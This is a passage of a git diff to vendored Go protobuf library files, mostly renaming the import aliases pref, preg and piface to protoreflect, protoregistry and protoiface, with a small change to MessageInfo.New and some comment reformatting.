strings.Split(f.Tag.Get("protobuf"), ",") { if len(s) > 0 && strings.Trim(s, "0123456789") == "" { n, _ := strconv.ParseUint(s, 10, 64) - si.oneofWrappersByType[tf] = pref.FieldNumber(n) - si.oneofWrappersByNumber[pref.FieldNumber(n)] = tf + si.oneofWrappersByType[tf] = protoreflect.FieldNumber(n) + si.oneofWrappersByNumber[protoreflect.FieldNumber(n)] = tf break } } @@ -219,7 +218,11 @@ fieldLoop: } func (mi *MessageInfo) New() protoreflect.Message { - return mi.MessageOf(reflect.New(mi.GoReflectType.Elem()).Interface()) + m := reflect.New(mi.GoReflectType.Elem()).Interface() + if r, ok := m.(protoreflect.ProtoMessage); ok { + return r.ProtoReflect() + } + return mi.MessageOf(m) } func (mi *MessageInfo) Zero() protoreflect.Message { return mi.MessageOf(reflect.Zero(mi.GoReflectType).Interface()) @@ -237,7 +240,7 @@ func (mi *MessageInfo) Message(i int) protoreflect.MessageType { fd := mi.Desc.Fields().Get(i) switch { case fd.IsWeak(): - mt, _ := preg.GlobalTypes.FindMessageByName(fd.Message().FullName()) + mt, _ := protoregistry.GlobalTypes.FindMessageByName(fd.Message().FullName()) return mt case fd.IsMap(): return mapEntryType{fd.Message(), mi.fieldTypes[fd.Number()]} diff --git a/vendor/google.golang.org/protobuf/internal/impl/message_reflect.go b/vendor/google.golang.org/protobuf/internal/impl/message_reflect.go index 9488b7261..d9ea010be 100644 --- a/vendor/google.golang.org/protobuf/internal/impl/message_reflect.go +++ b/vendor/google.golang.org/protobuf/internal/impl/message_reflect.go @@ -10,17 +10,17 @@ import ( "google.golang.org/protobuf/internal/detrand" "google.golang.org/protobuf/internal/pragma" - pref "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/reflect/protoreflect" ) type reflectMessageInfo struct { - fields map[pref.FieldNumber]*fieldInfo - oneofs map[pref.Name]*oneofInfo + fields map[protoreflect.FieldNumber]*fieldInfo + oneofs map[protoreflect.Name]*oneofInfo // fieldTypes contains the zero value of an enum or message field. // For lists, it contains the element type. // For maps, it contains the entry value type. - fieldTypes map[pref.FieldNumber]interface{} + fieldTypes map[protoreflect.FieldNumber]interface{} // denseFields is a subset of fields where: // 0 < fieldDesc.Number() < len(denseFields) @@ -30,8 +30,8 @@ type reflectMessageInfo struct { // rangeInfos is a list of all fields (not belonging to a oneof) and oneofs. rangeInfos []interface{} // either *fieldInfo or *oneofInfo - getUnknown func(pointer) pref.RawFields - setUnknown func(pointer, pref.RawFields) + getUnknown func(pointer) protoreflect.RawFields + setUnknown func(pointer, protoreflect.RawFields) extensionMap func(pointer) *extensionMap nilMessage atomicNilMessage @@ -52,7 +52,7 @@ func (mi *MessageInfo) makeReflectFuncs(t reflect.Type, si structInfo) { // This code assumes that the struct is well-formed and panics if there are // any discrepancies. func (mi *MessageInfo) makeKnownFieldsFunc(si structInfo) { - mi.fields = map[pref.FieldNumber]*fieldInfo{} + mi.fields = map[protoreflect.FieldNumber]*fieldInfo{} md := mi.Desc fds := md.Fields() for i := 0; i < fds.Len(); i++ { @@ -82,7 +82,7 @@ func (mi *MessageInfo) makeKnownFieldsFunc(si structInfo) { mi.fields[fd.Number()] = &fi } - mi.oneofs = map[pref.Name]*oneofInfo{} + mi.oneofs = map[protoreflect.Name]*oneofInfo{} for i := 0; i < md.Oneofs().Len(); i++ { od := md.Oneofs().Get(i) mi.oneofs[od.Name()] = makeOneofInfo(od, si, mi.Exporter) @@ -117,13 +117,13 @@ func (mi *MessageInfo) makeUnknownFieldsFunc(t reflect.Type, si structInfo) { switch { case si.unknownOffset.IsValid() && si.unknownType == unknownFieldsAType: // Handle as []byte. - mi.getUnknown = func(p pointer) pref.RawFields { + mi.getUnknown = func(p pointer) protoreflect.RawFields { if p.IsNil() { return nil } return *p.Apply(mi.unknownOffset).Bytes() } - mi.setUnknown = func(p pointer, b pref.RawFields) { + mi.setUnknown = func(p pointer, b protoreflect.RawFields) { if p.IsNil() { panic("invalid SetUnknown on nil Message") } @@ -131,7 +131,7 @@ func (mi *MessageInfo) makeUnknownFieldsFunc(t reflect.Type, si structInfo) { } case si.unknownOffset.IsValid() && si.unknownType == unknownFieldsBType: // Handle as *[]byte. - mi.getUnknown = func(p pointer) pref.RawFields { + mi.getUnknown = func(p pointer) protoreflect.RawFields { if p.IsNil() { return nil } @@ -141,7 +141,7 @@ func (mi *MessageInfo) makeUnknownFieldsFunc(t reflect.Type, si structInfo) { } return **bp } - mi.setUnknown = func(p pointer, b pref.RawFields) { + mi.setUnknown = func(p pointer, b protoreflect.RawFields) { if p.IsNil() { panic("invalid SetUnknown on nil Message") } @@ -152,10 +152,10 @@ func (mi *MessageInfo) makeUnknownFieldsFunc(t reflect.Type, si structInfo) { **bp = b } default: - mi.getUnknown = func(pointer) pref.RawFields { + mi.getUnknown = func(pointer) protoreflect.RawFields { return nil } - mi.setUnknown = func(p pointer, _ pref.RawFields) { + mi.setUnknown = func(p pointer, _ protoreflect.RawFields) { if p.IsNil() { panic("invalid SetUnknown on nil Message") } @@ -224,7 +224,7 @@ func (mi *MessageInfo) makeFieldTypes(si structInfo) { } if ft != nil { if mi.fieldTypes == nil { - mi.fieldTypes = make(map[pref.FieldNumber]interface{}) + mi.fieldTypes = make(map[protoreflect.FieldNumber]interface{}) } mi.fieldTypes[fd.Number()] = reflect.Zero(ft).Interface() } @@ -233,7 +233,7 @@ func (mi *MessageInfo) makeFieldTypes(si structInfo) { type extensionMap map[int32]ExtensionField -func (m *extensionMap) Range(f func(pref.FieldDescriptor, pref.Value) bool) { +func (m *extensionMap) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) { if m != nil { for _, x := range *m { xd := x.Type().TypeDescriptor() @@ -247,7 +247,7 @@ func (m *extensionMap) Range(f func(pref.FieldDescriptor, pref.Value) bool) { } } } -func (m *extensionMap) Has(xt pref.ExtensionType) (ok bool) { +func (m *extensionMap) Has(xt protoreflect.ExtensionType) (ok bool) { if m == nil { return false } @@ -266,10 +266,10 @@ func (m *extensionMap) Has(xt pref.ExtensionType) (ok bool) { } return true } -func (m *extensionMap) Clear(xt pref.ExtensionType) { +func (m *extensionMap) Clear(xt protoreflect.ExtensionType) { delete(*m, int32(xt.TypeDescriptor().Number())) } -func (m *extensionMap) Get(xt pref.ExtensionType) pref.Value { +func (m *extensionMap) Get(xt protoreflect.ExtensionType) protoreflect.Value { xd := xt.TypeDescriptor() if m != nil { if x, ok := (*m)[int32(xd.Number())]; ok { @@ -278,7 +278,7 @@ func (m *extensionMap) Get(xt pref.ExtensionType) pref.Value { } return xt.Zero() } -func (m *extensionMap) Set(xt pref.ExtensionType, v pref.Value) { +func (m *extensionMap) Set(xt protoreflect.ExtensionType, v protoreflect.Value) { xd := xt.TypeDescriptor() isValid := true switch { @@ -302,9 +302,9 @@ func (m *extensionMap) Set(xt pref.ExtensionType, v pref.Value) { x.Set(xt, v) (*m)[int32(xd.Number())] = x } -func (m *extensionMap) Mutable(xt pref.ExtensionType) pref.Value { +func (m *extensionMap) Mutable(xt protoreflect.ExtensionType) protoreflect.Value { xd := xt.TypeDescriptor() - if xd.Kind() != pref.MessageKind && xd.Kind() != pref.GroupKind && !xd.IsList() && !xd.IsMap() { + if xd.Kind() != protoreflect.MessageKind && xd.Kind() != protoreflect.GroupKind && !xd.IsList() && !xd.IsMap() { panic("invalid Mutable on field with non-composite type") } if x, ok := (*m)[int32(xd.Number())]; ok { @@ -320,7 +320,6 @@ func (m *extensionMap) Mutable(xt pref.ExtensionType) pref.Value { // in an allocation-free way without needing to have a shadow Go type generated // for every message type. This technique only works using unsafe. // -// // Example generated code: // // type M struct { @@ -351,12 +350,11 @@ func (m *extensionMap) Mutable(xt pref.ExtensionType) pref.Value { // It has access to the message info as its first field, and a pointer to the // MessageState is identical to a pointer to the concrete message value. // -// // Requirements: -// • The type M must implement protoreflect.ProtoMessage. -// • The address of m must not be nil. -// • The address of m and the address of m.state must be equal, -// even though they are different Go types. +// - The type M must implement protoreflect.ProtoMessage. +// - The address of m must not be nil. +// - The address of m and the address of m.state must be equal, +// even though they are different Go types. type MessageState struct { pragma.NoUnkeyedLiterals pragma.DoNotCompare @@ -368,8 +366,8 @@ type MessageState struct { type messageState MessageState var ( - _ pref.Message = (*messageState)(nil) - _ unwrapper = (*messageState)(nil) + _ protoreflect.Message = (*messageState)(nil) + _ unwrapper = (*messageState)(nil) ) // messageDataType is a tuple of a pointer to the message data and @@ -387,16 +385,16 @@ type ( ) var ( - _ pref.Message = (*messageReflectWrapper)(nil) - _ unwrapper = (*messageReflectWrapper)(nil) - _ pref.ProtoMessage = (*messageIfaceWrapper)(nil) - _ unwrapper = (*messageIfaceWrapper)(nil) + _ protoreflect.Message = (*messageReflectWrapper)(nil) + _ unwrapper = (*messageReflectWrapper)(nil) + _ protoreflect.ProtoMessage = (*messageIfaceWrapper)(nil) + _ unwrapper = (*messageIfaceWrapper)(nil) ) // MessageOf returns a reflective view over a message. The input must be a // pointer to a named Go struct. If the provided type has a ProtoReflect method, // it must be implemented by calling this method. -func (mi *MessageInfo) MessageOf(m interface{}) pref.Message { +func (mi *MessageInfo) MessageOf(m interface{}) protoreflect.Message { if reflect.TypeOf(m) != mi.GoReflectType { panic(fmt.Sprintf("type mismatch: got %T, want %v", m, mi.GoReflectType)) } @@ -421,7 +419,7 @@ func (m *messageIfaceWrapper) Reset() { rv.Elem().Set(reflect.Zero(rv.Type().Elem())) } } -func (m *messageIfaceWrapper) ProtoReflect() pref.Message { +func (m *messageIfaceWrapper) ProtoReflect() protoreflect.Message { return (*messageReflectWrapper)(m) } func (m *messageIfaceWrapper) protoUnwrap() interface{} { @@ -430,7 +428,7 @@ func (m *messageIfaceWrapper) protoUnwrap() interface{} { // checkField verifies that the provided field descriptor is valid. // Exactly one of the returned values is populated. -func (mi *MessageInfo) checkField(fd pref.FieldDescriptor) (*fieldInfo, pref.ExtensionType) { +func (mi *MessageInfo) checkField(fd protoreflect.FieldDescriptor) (*fieldInfo, protoreflect.ExtensionType) { var fi *fieldInfo if n := fd.Number(); 0 < n && int(n) < len(mi.denseFields) { fi = mi.denseFields[n] @@ -455,7 +453,7 @@ func (mi *MessageInfo) checkField(fd pref.FieldDescriptor) (*fieldInfo, pref.Ext if !mi.Desc.ExtensionRanges().Has(fd.Number()) { panic(fmt.Sprintf("extension %v extends %v outside the extension range", fd.FullName(), mi.Desc.FullName())) } - xtd, ok := fd.(pref.ExtensionTypeDescriptor) + xtd, ok := fd.(protoreflect.ExtensionTypeDescriptor) if !ok { panic(fmt.Sprintf("extension %v does not implement protoreflect.ExtensionTypeDescriptor", fd.FullName())) } diff --git a/vendor/google.golang.org/protobuf/internal/impl/message_reflect_field.go b/vendor/google.golang.org/protobuf/internal/impl/message_reflect_field.go index 343cf8721..5e736c60e 100644 --- a/vendor/google.golang.org/protobuf/internal/impl/message_reflect_field.go +++ b/vendor/google.golang.org/protobuf/internal/impl/message_reflect_field.go @@ -11,24 +11,24 @@ import ( "sync" "google.golang.org/protobuf/internal/flags" - pref "google.golang.org/protobuf/reflect/protoreflect" - preg "google.golang.org/protobuf/reflect/protoregistry" + "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/reflect/protoregistry" ) type fieldInfo struct { - fieldDesc pref.FieldDescriptor + fieldDesc protoreflect.FieldDescriptor // These fields are used for protobuf reflection support. has func(pointer) bool clear func(pointer) - get func(pointer) pref.Value - set func(pointer, pref.Value) - mutable func(pointer) pref.Value - newMessage func() pref.Message - newField func() pref.Value + get func(pointer) protoreflect.Value + set func(pointer, protoreflect.Value) + mutable func(pointer) protoreflect.Value + newMessage func() protoreflect.Message + newField func() protoreflect.Value } -func fieldInfoForMissing(fd pref.FieldDescriptor) fieldInfo { +func fieldInfoForMissing(fd protoreflect.FieldDescriptor) fieldInfo { // This never occurs for generated message types. // It implies that a hand-crafted type has missing Go fields // for specific protobuf message fields. @@ -40,19 +40,19 @@ func fieldInfoForMissing(fd pref.FieldDescriptor) fieldInfo { clear: func(p pointer) { panic("missing Go struct field for " + string(fd.FullName())) }, - get: func(p pointer) pref.Value { + get: func(p pointer) protoreflect.Value { return fd.Default() }, - set: func(p pointer, v pref.Value) { + set: func(p pointer, v protoreflect.Value) { panic("missing Go struct field for " + string(fd.FullName())) }, - mutable: func(p pointer) pref.Value { + mutable: func(p pointer) protoreflect.Value { panic("missing Go struct field for " + string(fd.FullName())) }, - newMessage: func() pref.Message { + newMessage: func() protoreflect.Message { panic("missing Go struct field for " + string(fd.FullName())) }, - newField: func() pref.Value { + newField: func() protoreflect.Value { if v := fd.Default(); v.IsValid() { return v } @@ -61,7 +61,7 @@ func fieldInfoForMissing(fd pref.FieldDescriptor) fieldInfo { } } -func fieldInfoForOneof(fd pref.FieldDescriptor, fs reflect.StructField, x exporter, ot reflect.Type) fieldInfo { +func fieldInfoForOneof(fd protoreflect.FieldDescriptor, fs reflect.StructField, x exporter, ot reflect.Type) fieldInfo { ft := fs.Type if ft.Kind() != reflect.Interface { panic(fmt.Sprintf("field %v has invalid type: got %v, want interface kind", fd.FullName(), ft)) @@ -102,7 +102,7 @@ func fieldInfoForOneof(fd pref.FieldDescriptor, fs reflect.StructField, x export } rv.Set(reflect.Zero(rv.Type())) }, - get: func(p pointer) pref.Value { + get: func(p pointer) protoreflect.Value { if p.IsNil() { return conv.Zero() } @@ -113,7 +113,7 @@ func fieldInfoForOneof(fd pref.FieldDescriptor, fs reflect.StructField, x export rv = rv.Elem().Elem().Field(0) return conv.PBValueOf(rv) }, - set: func(p pointer, v pref.Value) { + set: func(p pointer, v protoreflect.Value) { rv := p.Apply(fieldOffset).AsValueOf(fs.Type).Elem() if rv.IsNil() || rv.Elem().Type().Elem() != ot || rv.Elem().IsNil() { rv.Set(reflect.New(ot)) @@ -121,7 +121,7 @@ func fieldInfoForOneof(fd pref.FieldDescriptor, fs reflect.StructField, x export rv = rv.Elem().Elem().Field(0) rv.Set(conv.GoValueOf(v)) }, - mutable: func(p pointer) pref.Value { + mutable: func(p pointer) protoreflect.Value { if !isMessage { panic(fmt.Sprintf("field %v with invalid Mutable call on field with non-composite type", fd.FullName())) } @@ -131,20 +131,20 @@ func fieldInfoForOneof(fd pref.FieldDescriptor, fs reflect.StructField, x export } rv = rv.Elem().Elem().Field(0) if rv.Kind() == reflect.Ptr && rv.IsNil() { - rv.Set(conv.GoValueOf(pref.ValueOfMessage(conv.New().Message()))) + rv.Set(conv.GoValueOf(protoreflect.ValueOfMessage(conv.New().Message()))) } return conv.PBValueOf(rv) }, - newMessage: func() pref.Message { + newMessage: func() protoreflect.Message { return conv.New().Message() }, - newField: func() pref.Value { + newField: func() protoreflect.Value { return conv.New() }, } } -func fieldInfoForMap(fd pref.FieldDescriptor, fs reflect.StructField, x exporter) fieldInfo { +func fieldInfoForMap(fd protoreflect.FieldDescriptor, fs reflect.StructField, x exporter) fieldInfo { ft := fs.Type if ft.Kind() != reflect.Map { panic(fmt.Sprintf("field %v has invalid type: got %v, want map kind", fd.FullName(), ft)) @@ -166,7 +166,7 @@ func fieldInfoForMap(fd pref.FieldDescriptor, fs reflect.StructField, x exporter rv := p.Apply(fieldOffset).AsValueOf(fs.Type).Elem() rv.Set(reflect.Zero(rv.Type())) }, - get: func(p pointer) pref.Value { + get: func(p pointer) protoreflect.Value { if p.IsNil() { return conv.Zero() } @@ -176,7 +176,7 @@ func fieldInfoForMap(fd pref.FieldDescriptor, fs reflect.StructField, x exporter } return conv.PBValueOf(rv) }, - set: func(p pointer, v pref.Value) { + set: func(p pointer, v protoreflect.Value) { rv := p.Apply(fieldOffset).AsValueOf(fs.Type).Elem() pv := conv.GoValueOf(v) if pv.IsNil() { @@ -184,20 +184,20 @@ func fieldInfoForMap(fd pref.FieldDescriptor, fs reflect.StructField, x exporter } rv.Set(pv) }, - mutable: func(p pointer) pref.Value { + mutable: func(p pointer) protoreflect.Value { v := p.Apply(fieldOffset).AsValueOf(fs.Type).Elem() if v.IsNil() { v.Set(reflect.MakeMap(fs.Type)) } return conv.PBValueOf(v) }, - newField: func() pref.Value { + newField: func() protoreflect.Value { return conv.New() }, } } -func fieldInfoForList(fd pref.FieldDescriptor, fs reflect.StructField, x exporter) fieldInfo { +func fieldInfoForList(fd protoreflect.FieldDescriptor, fs reflect.StructField, x exporter) fieldInfo { ft := fs.Type if ft.Kind() != reflect.Slice { panic(fmt.Sprintf("field %v has invalid type: got %v, want slice kind", fd.FullName(), ft)) @@ -219,7 +219,7 @@ func fieldInfoForList(fd pref.FieldDescriptor, fs reflect.StructField, x exporte rv := p.Apply(fieldOffset).AsValueOf(fs.Type).Elem() rv.Set(reflect.Zero(rv.Type())) }, - get: func(p pointer) pref.Value { + get: func(p pointer) protoreflect.Value { if p.IsNil() { return conv.Zero() } @@ -229,7 +229,7 @@ func fieldInfoForList(fd pref.FieldDescriptor, fs reflect.StructField, x exporte } return conv.PBValueOf(rv) }, - set: func(p pointer, v pref.Value) { + set: func(p pointer, v protoreflect.Value) { rv := p.Apply(fieldOffset).AsValueOf(fs.Type).Elem() pv := conv.GoValueOf(v) if pv.IsNil() { @@ -237,11 +237,11 @@ func fieldInfoForList(fd pref.FieldDescriptor, fs reflect.StructField, x exporte } rv.Set(pv.Elem()) }, - mutable: func(p pointer) pref.Value { + mutable: func(p pointer) protoreflect.Value { v := p.Apply(fieldOffset).AsValueOf(fs.Type) return conv.PBValueOf(v) }, - newField: func() pref.Value { + newField: func() protoreflect.Value { return conv.New() }, } @@ -252,7 +252,7 @@ var ( emptyBytes = reflect.ValueOf([]byte{}) ) -func fieldInfoForScalar(fd pref.FieldDescriptor, fs reflect.StructField, x exporter) fieldInfo { +func fieldInfoForScalar(fd protoreflect.FieldDescriptor, fs reflect.StructField, x exporter) fieldInfo { ft := fs.Type nullable := fd.HasPresence() isBytes := ft.Kind() == reflect.Slice && ft.Elem().Kind() == reflect.Uint8 @@ -300,7 +300,7 @@ func fieldInfoForScalar(fd pref.FieldDescriptor, fs reflect.StructField, x expor rv := p.Apply(fieldOffset).AsValueOf(fs.Type).Elem() rv.Set(reflect.Zero(rv.Type())) }, - get: func(p pointer) pref.Value { + get: func(p pointer) protoreflect.Value { if p.IsNil() { return conv.Zero() } @@ -315,7 +315,7 @@ func fieldInfoForScalar(fd pref.FieldDescriptor, fs reflect.StructField, x expor } return conv.PBValueOf(rv) }, - set: func(p pointer, v pref.Value) { + set: func(p pointer, v protoreflect.Value) { rv := p.Apply(fieldOffset).AsValueOf(fs.Type).Elem() if nullable && rv.Kind() == reflect.Ptr { if rv.IsNil() { @@ -332,23 +332,23 @@ func fieldInfoForScalar(fd pref.FieldDescriptor, fs reflect.StructField, x expor } } }, - newField: func() pref.Value { + newField: func() protoreflect.Value { return conv.New() }, } } -func fieldInfoForWeakMessage(fd pref.FieldDescriptor, weakOffset offset) fieldInfo { +func fieldInfoForWeakMessage(fd protoreflect.FieldDescriptor, weakOffset offset) fieldInfo { if !flags.ProtoLegacy { panic("no support for proto1 weak fields") } var once sync.Once - var messageType pref.MessageType + var messageType protoreflect.MessageType lazyInit := func() { once.Do(func() { messageName := fd.Message().FullName() - messageType, _ = preg.GlobalTypes.FindMessageByName(messageName) + messageType, _ = protoregistry.GlobalTypes.FindMessageByName(messageName) if messageType == nil { panic(fmt.Sprintf("weak message %v for field %v is not linked in", messageName, fd.FullName())) } @@ -368,18 +368,18 @@ func fieldInfoForWeakMessage(fd pref.FieldDescriptor, weakOffset offset) fieldIn clear: func(p pointer) { p.Apply(weakOffset).WeakFields().clear(num) }, - get: func(p pointer) pref.Value { + get: func(p pointer) protoreflect.Value { lazyInit() if p.IsNil() { - return pref.ValueOfMessage(messageType.Zero()) + return protoreflect.ValueOfMessage(messageType.Zero()) } m, ok := p.Apply(weakOffset).WeakFields().get(num) if !ok { - return pref.ValueOfMessage(messageType.Zero()) + return protoreflect.ValueOfMessage(messageType.Zero()) } - return pref.ValueOfMessage(m.ProtoReflect()) + return protoreflect.ValueOfMessage(m.ProtoReflect()) }, - set: func(p pointer, v pref.Value) { + set: func(p pointer, v protoreflect.Value) { lazyInit() m := v.Message() if m.Descriptor() != messageType.Descriptor() { @@ -390,7 +390,7 @@ func fieldInfoForWeakMessage(fd pref.FieldDescriptor, weakOffset offset) fieldIn } p.Apply(weakOffset).WeakFields().set(num, m.Interface()) }, - mutable: func(p pointer) pref.Value { + mutable: func(p pointer) protoreflect.Value { lazyInit() fs := p.Apply(weakOffset).WeakFields() m, ok := fs.get(num) @@ -398,20 +398,20 @@ func fieldInfoForWeakMessage(fd pref.FieldDescriptor, weakOffset offset) fieldIn m = messageType.New().Interface() fs.set(num, m) } - return pref.ValueOfMessage(m.ProtoReflect()) + return protoreflect.ValueOfMessage(m.ProtoReflect()) }, - newMessage: func() pref.Message { + newMessage: func() protoreflect.Message { lazyInit() return messageType.New() }, - newField: func() pref.Value { + newField: func() protoreflect.Value { lazyInit() - return pref.ValueOfMessage(messageType.New()) + return protoreflect.ValueOfMessage(messageType.New()) }, } } -func fieldInfoForMessage(fd pref.FieldDescriptor, fs reflect.StructField, x exporter) fieldInfo { +func fieldInfoForMessage(fd protoreflect.FieldDescriptor, fs reflect.StructField, x exporter) fieldInfo { ft := fs.Type conv := NewConverter(ft, fd) @@ -433,47 +433,47 @@ func fieldInfoForMessage(fd pref.FieldDescriptor, fs reflect.StructField, x expo rv := p.Apply(fieldOffset).AsValueOf(fs.Type).Elem() rv.Set(reflect.Zero(rv.Type())) }, - get: func(p pointer) pref.Value { + get: func(p pointer) protoreflect.Value { if p.IsNil() { return conv.Zero() } rv := p.Apply(fieldOffset).AsValueOf(fs.Type).Elem() return conv.PBValueOf(rv) }, - set: func(p pointer, v pref.Value) { + set: func(p pointer, v protoreflect.Value) { rv := p.Apply(fieldOffset).AsValueOf(fs.Type).Elem() rv.Set(conv.GoValueOf(v)) if fs.Type.Kind() == reflect.Ptr && rv.IsNil() { panic(fmt.Sprintf("field %v has invalid nil pointer", fd.FullName())) } }, - mutable: func(p pointer) pref.Value { + mutable: func(p pointer) protoreflect.Value { rv := p.Apply(fieldOffset).AsValueOf(fs.Type).Elem() if fs.Type.Kind() == reflect.Ptr && rv.IsNil() { rv.Set(conv.GoValueOf(conv.New())) } return conv.PBValueOf(rv) }, - newMessage: func() pref.Message { + newMessage: func() protoreflect.Message { return conv.New().Message() }, - newField: func() pref.Value { + newField: func() protoreflect.Value { return conv.New() }, } } type oneofInfo struct { - oneofDesc pref.OneofDescriptor - which func(pointer) pref.FieldNumber + oneofDesc protoreflect.OneofDescriptor + which func(pointer) protoreflect.FieldNumber } -func makeOneofInfo(od pref.OneofDescriptor, si structInfo, x exporter) *oneofInfo { +func makeOneofInfo(od protoreflect.OneofDescriptor, si structInfo, x exporter) *oneofInfo { oi := &oneofInfo{oneofDesc: od} if od.IsSynthetic() { fs := si.fieldsByNumber[od.Fields().Get(0).Number()] fieldOffset := offsetOf(fs, x) - oi.which = func(p pointer) pref.FieldNumber { + oi.which = func(p pointer) protoreflect.FieldNumber { if p.IsNil() { return 0 } @@ -486,7 +486,7 @@ func makeOneofInfo(od pref.OneofDescriptor, si structInfo, x exporter) *oneofInf } else { fs := si.oneofsByName[od.Name()] fieldOffset := offsetOf(fs, x) - oi.which = func(p pointer) pref.FieldNumber { + oi.which = func(p pointer) protoreflect.FieldNumber { if p.IsNil() { return 0 } diff --git a/vendor/google.golang.org/protobuf/internal/impl/validate.go b/vendor/google.golang.org/protobuf/internal/impl/validate.go index 08cfb6054..a24e6bbd7 100644 --- a/vendor/google.golang.org/protobuf/internal/impl/validate.go +++ b/vendor/google.golang.org/protobuf/internal/impl/validate.go @@ -16,9 +16,9 @@ import ( "google.golang.org/protobuf/internal/flags" "google.golang.org/protobuf/internal/genid" "google.golang.org/protobuf/internal/strs" - pref "google.golang.org/protobuf/reflect/protoreflect" - preg "google.golang.org/protobuf/reflect/protoregistry" - piface "google.golang.org/protobuf/runtime/protoiface" + "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/reflect/protoregistry" + "google.golang.org/protobuf/runtime/protoiface" ) // ValidationStatus is the result of validating the wire-format encoding of a message. @@ -56,20 +56,20 @@ func (v ValidationStatus) String() string { // of the message type. // // This function is exposed for testing. -func Validate(mt pref.MessageType, in piface.UnmarshalInput) (out piface.UnmarshalOutput, _ ValidationStatus) { +func Validate(mt protoreflect.MessageType, in protoiface.UnmarshalInput) (out protoiface.UnmarshalOutput, _ ValidationStatus) { mi, ok := mt.(*MessageInfo) if !ok { return out, ValidationUnknown } if in.Resolver == nil { - in.Resolver = preg.GlobalTypes + in.Resolver = protoregistry.GlobalTypes } o, st := mi.validate(in.Buf, 0, unmarshalOptions{ flags: in.Flags, resolver: in.Resolver, }) if o.initialized { - out.Flags |= piface.UnmarshalInitialized + out.Flags |= protoiface.UnmarshalInitialized } return out, st } @@ -106,22 +106,22 @@ const ( validationTypeMessageSetItem ) -func newFieldValidationInfo(mi *MessageInfo, si structInfo, fd pref.FieldDescriptor, ft reflect.Type) validationInfo { +func newFieldValidationInfo(mi *MessageInfo, si structInfo, fd protoreflect.FieldDescriptor, ft reflect.Type) validationInfo { var vi validationInfo switch { case fd.ContainingOneof() != nil && !fd.ContainingOneof().IsSynthetic(): switch fd.Kind() { - case pref.MessageKind: + case protoreflect.MessageKind: vi.typ = validationTypeMessage if ot, ok := si.oneofWrappersByNumber[fd.Number()]; ok { vi.mi = getMessageInfo(ot.Field(0).Type) } - case pref.GroupKind: + case protoreflect.GroupKind: vi.typ = validationTypeGroup if ot, ok := si.oneofWrappersByNumber[fd.Number()]; ok { vi.mi = getMessageInfo(ot.Field(0).Type) } - case pref.StringKind: + case protoreflect.StringKind: if strs.EnforceUTF8(fd) { vi.typ = validationTypeUTF8String } @@ -129,7 +129,7 @@ func newFieldValidationInfo(mi *MessageInfo, si structInfo, fd pref.FieldDescrip default: vi = newValidationInfo(fd, ft) } - if fd.Cardinality() == pref.Required { + if fd.Cardinality() == protoreflect.Required { // Avoid overflow. The required field check is done with a 64-bit mask, with // any message containing more than 64 required fields always reported as // potentially uninitialized, so it is not important to get a precise count @@ -142,22 +142,22 @@ func newFieldValidationInfo(mi *MessageInfo, si structInfo, fd pref.FieldDescrip return vi } -func newValidationInfo(fd pref.FieldDescriptor, ft reflect.Type) validationInfo { +func newValidationInfo(fd protoreflect.FieldDescriptor, ft reflect.Type) validationInfo { var vi validationInfo switch { case fd.IsList(): switch fd.Kind() { - case pref.MessageKind: + case protoreflect.MessageKind: vi.typ = validationTypeMessage if ft.Kind() == reflect.Slice { vi.mi = getMessageInfo(ft.Elem()) } - case pref.GroupKind: + case protoreflect.GroupKind: vi.typ = validationTypeGroup if ft.Kind() == reflect.Slice { vi.mi = getMessageInfo(ft.Elem()) } - case pref.StringKind: + case protoreflect.StringKind: vi.typ = validationTypeBytes if strs.EnforceUTF8(fd) { vi.typ = validationTypeUTF8String @@ -175,33 +175,33 @@ func newValidationInfo(fd pref.FieldDescriptor, ft reflect.Type) validationInfo case fd.IsMap(): vi.typ = validationTypeMap switch fd.MapKey().Kind() { - case pref.StringKind: + case protoreflect.StringKind: if strs.EnforceUTF8(fd) { vi.keyType = validationTypeUTF8String } } switch fd.MapValue().Kind() { - case pref.MessageKind: + case protoreflect.MessageKind: vi.valType = validationTypeMessage if ft.Kind() == reflect.Map { vi.mi = getMessageInfo(ft.Elem()) } - case pref.StringKind: + case protoreflect.StringKind: if strs.EnforceUTF8(fd) { vi.valType = validationTypeUTF8String } } default: switch fd.Kind() { - case pref.MessageKind: + case protoreflect.MessageKind: vi.typ = validationTypeMessage if !fd.IsWeak() { vi.mi = getMessageInfo(ft) } - case pref.GroupKind: + case protoreflect.GroupKind: vi.typ = validationTypeGroup vi.mi = getMessageInfo(ft) - case pref.StringKind: + case protoreflect.StringKind: vi.typ = validationTypeBytes if strs.EnforceUTF8(fd) { vi.typ = validationTypeUTF8String @@ -314,11 +314,11 @@ State: break } messageName := fd.Message().FullName() - messageType, err := preg.GlobalTypes.FindMessageByName(messageName) + messageType, err := protoregistry.GlobalTypes.FindMessageByName(messageName) switch err { case nil: vi.mi, _ = messageType.(*MessageInfo) - case preg.NotFound: + case protoregistry.NotFound: vi.typ = validationTypeBytes default: return out, ValidationUnknown @@ -335,7 +335,7 @@ State: // unmarshaling to begin failing. Supporting this requires some way to // determine if the resolver is frozen. xt, err := opts.resolver.FindExtensionByNumber(st.mi.Desc.FullName(), num) - if err != nil && err != preg.NotFound { + if err != nil && err != protoregistry.NotFound { return out, ValidationUnknown } if err == nil { @@ -513,7 +513,7 @@ State: } xt, err := opts.resolver.FindExtensionByNumber(st.mi.Desc.FullName(), typeid) switch { - case err == preg.NotFound: + case err == protoregistry.NotFound: b = b[n:] case err != nil: return out, ValidationUnknown diff --git a/vendor/google.golang.org/protobuf/internal/impl/weak.go b/vendor/google.golang.org/protobuf/internal/impl/weak.go index 009cbefd1..eb79a7ba9 100644 --- a/vendor/google.golang.org/protobuf/internal/impl/weak.go +++ b/vendor/google.golang.org/protobuf/internal/impl/weak.go @@ -7,7 +7,7 @@ package impl import ( "fmt" - pref "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/reflect/protoreflect" "google.golang.org/protobuf/reflect/protoregistry" ) @@ -17,32 +17,32 @@ import ( // defined directly on it. type weakFields WeakFields -func (w weakFields) get(num pref.FieldNumber) (pref.ProtoMessage, bool) { +func (w weakFields) get(num protoreflect.FieldNumber) (protoreflect.ProtoMessage, bool) { m, ok := w[int32(num)] return m, ok } -func (w *weakFields) set(num pref.FieldNumber, m pref.ProtoMessage) { +func (w *weakFields) set(num protoreflect.FieldNumber, m protoreflect.ProtoMessage) 